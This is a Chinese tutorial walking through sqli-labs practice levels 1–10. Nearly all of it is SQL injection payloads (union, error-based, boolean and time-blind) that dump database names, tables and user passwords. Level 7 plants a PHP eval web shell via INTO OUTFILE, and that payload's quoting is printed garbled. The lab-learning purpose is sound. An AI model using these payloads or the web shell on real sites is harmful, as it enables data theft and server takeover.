目录
Less 1—GET-Error based-Single quotes -string
Less 2—GET-Error based-Intiger based
Less 3—GET-Error based-Single quotes with twist - string
Less 4—GET-Error based-Double quotes - string
Less 5—GET-Double Injection -Single Quotes -String
Less 6—GET-Double Injection -Double Quotes -String
Less 7—GET-Dump into outfile -String
Less 8—GET-Blind - Boolian Based-Single Quotes
Less 9—GET-Blind - Time Based-Single Quotes
Less 10—GET-Blind - Time Based-double Quotes
对于sql注入的学习,sqli-labs靶场是非常适合小白学习的地方。下面是sqli-lab靶场中的前十题的通关详解,接下来会持续更新sqli-lab是靶场的通关,请多多关注一下!
Less 1—GET-Error based-Single quotes -string
提示Please input the ID as parameter with numeric value,所以我们先输入?id=1回显得到
改变id的值发现可以回显得到不同的内容
根据题目或者报错可以知道这是单引号闭合
?id=1' order by 3--+
?id=1' order by 4--+
根据输入3没有报错,而输入4报错可以得到列数为3。
下一步判断数据的显示位置
?id=-1' union select 1,2,3 --+
查询数据库
?id=-1' union select 1,2,database() --+
查询表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
查看密码(查询用户名同理)
?id=-1' union select 1,2,group_concat(password) from users --+
?id=-1' union select 1,2,group_concat(username) from users --+
Less 2—GET-Error based-Intiger based
常规操作是判断该注入是整型还是字符型
?id=1 and 1=1
?id=1 and 1=2(如果是数字型输入这个就会报错)
由题目和常规判断我们知道这是整型注入所以不需要闭合
接下来判断列数
?id=1 order by 3 --+
?id=1 order by 4 --+
我们得到列数为3,接下来的操作跟less1基本上一样,但是我还是写一下方便大家看
查询数据库
?id=-1 union select 1,2,database()--+
查询表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询密码
?id=-1 union select 1,2,group_concat(password) from users --+
Less 3—GET-Error based-Single quotes with twist - string
我们输入?id=1'查看报错的是用什么闭合的
根据报错得知是')闭合
查询列数
?id=1') order by 3 --+
?id=1') order by 4 --+
查询数据库
?id=-1') union select 1,2,database()--+
查询表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询密码
?id=-1') union select 1,2,group_concat(password) from users --+
Less 4—GET-Error based-Double quotes - string
输入?id=1'发现没有报错
输入?id=1"提示报错,发现闭合形式是")
查询列数
?id=1") order by 3--+
?id=1") order by 4--+
查询数据库
?id=-1") union select 1,2,database()--+
查询表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询密码
?id=-1") union select 1,2,group_concat(password) from users--+
Less 5—GET-Double Injection -Single Quotes -String
输入?id=1',发现报错,得知闭合方式是'
查询列名
?id=1' order by 3--+
?id=1' order by 4--+
根据查询列数是输入1,2,3回显都是一样的于是选择使用报错注入
查询数据库
?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
查询表名
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
查询列名
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
查询列名的时需要没有上面的精确会导致查不到目标列名
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+
查询密码
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))--+
Less 6—GET-Double Injection -Double Quotes -String
输入?id=1"发现报错,得知闭合方式为"
查询列数
?id=1" order by 3--+
?id=1" order by 4 --+
根据获取列数的过程中可以得到这道题跟less5一样使用报错注入即可
查询数据库
?id=-1" and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
查询表名
?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
查询列名
?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
查询密码
?id=-1"and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e))--+
Less 7—GET-Dump into outfile -String
输入?id=1'和?id=1"发现都是报错
加上注释依旧报错,所以可以判断为布尔盲注
接着尝试加上括号闭合,最后发现闭合方式为'))
查询列名
?id=1')) order by 3 --+
?id=1')) order by 4--+
查询数据库
?id=1')) and length(database())=8--+
?id=1')) and length(database())=9--+
由此可以判断数据库的长度为8
接下来判断数据库的名称
?id=1')) and ascii(substr(database(), 1, 1))=115--+
?id=1')) and ascii(substr(database(), 1, 1))=116--+
由此我们可以得到数据库的第一个字的acsii值为115,即s,接下来逐个判断数据库的ascii值
ascii值查询:ASCII码表——在线ASCII字符转换
根据题目得要使用一句话木马
?id=-1')) union select 1,2,'' into outfile ''D:\phpstudy_pro\WWW\sqli-labs\Less-7\2.php'' --+
一句话木马:<?php @eval($_POST['1']);?>
使用蚁剑连接,发现成功
蚁剑下载链接:夸克网盘分享
Less 8—GET-Blind - Boolian Based-Single Quotes
输入?id=1'发现无回显
注释掉,发现有回显,所以判断闭合方式为'
查询列数
?id=1' order by 3--+
?id=1' order by 4--+
输入列数1,2,3有回显,而4没有回显,因而判断列数为3,尝试布尔盲注
查询数据库的长度
?id=1' and length(database())=8--+
?id=1' and length(database())=9-+
查询数据库名称
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))=116--+
由此我们可以得到数据库的第一个字的acsii值为115,即s,接下来逐个判断数据库的ascii值
例如判断第二个字
?id=1' and ascii(substr(database(),2,1))=101--+
?id=1' and ascii(substr(database(),2,1))=102--+
查询表名的个数
?id=1' and (select count(table_name)from information_schema.tables where table_schema='security')=4--+
?id=1' and (select count(table_name)from information_schema.tables where table_schema='security')=5--+
查询表名的字符
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
查询列名
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1), 1, 1))=105--+
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1), 1, 1))=106--+
Less 9—GET-Blind - Time Based-Single Quotes
输入?id=1'
接下来尝试其他闭合方式,得到的回显都是一样的,所以尝试时间盲注
查询数据库长度
?id=1' and if((length(database())=8),sleep(5),1)--+
?id=1' and if((length(database())=9),sleep(5),1)--+
查询数据库的字符
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)--+
?id=1' and if((ascii(substr(database(),1,1))=116),sleep(5),1)--+
查询表名的个数
?id=1' and if(((select count(table_name)from information_schema.tables where table_schema='security')=4),sleep(5),1)--+
?id=1' and if(((select count(table_name)from information_schema.tables where table_schema='security')=5),sleep(5),1)--+
查询表名的长度
?id=1' and if((length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6),sleep(5),1)--+
查询表名的字符
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101),sleep(5),1)--+
Less 10—GET-Blind - Time Based-double Quotes
根据题目知道闭合形式是双引号,同时为时间盲注
查询数据库长度
?id=1" and if((length(database())=8),sleep(5),1)--+
?id=1" and if((length(database())=9),sleep(5),1)--+
查询数据库的字符
?id=1" and if((ascii(substr(database(),1,1))=115),sleep(5),1)--+
?id=1" and if((ascii(substr(database(),1,1))=116),sleep(5),1)--+
查询表名的个数
?id=1" and if(((select count(table_name)from information_schema.tables where table_schema='security')=4),sleep(5),1)--+
?id=1" and if(((select count(table_name)from information_schema.tables where table_schema='security')=5),sleep(5),1)--+
查询表名的长度
?id=1" and if((length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6),sleep(5),1)--+
查询表名的字符
?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101),sleep(5),1)--+
如有错误,请大佬们指正!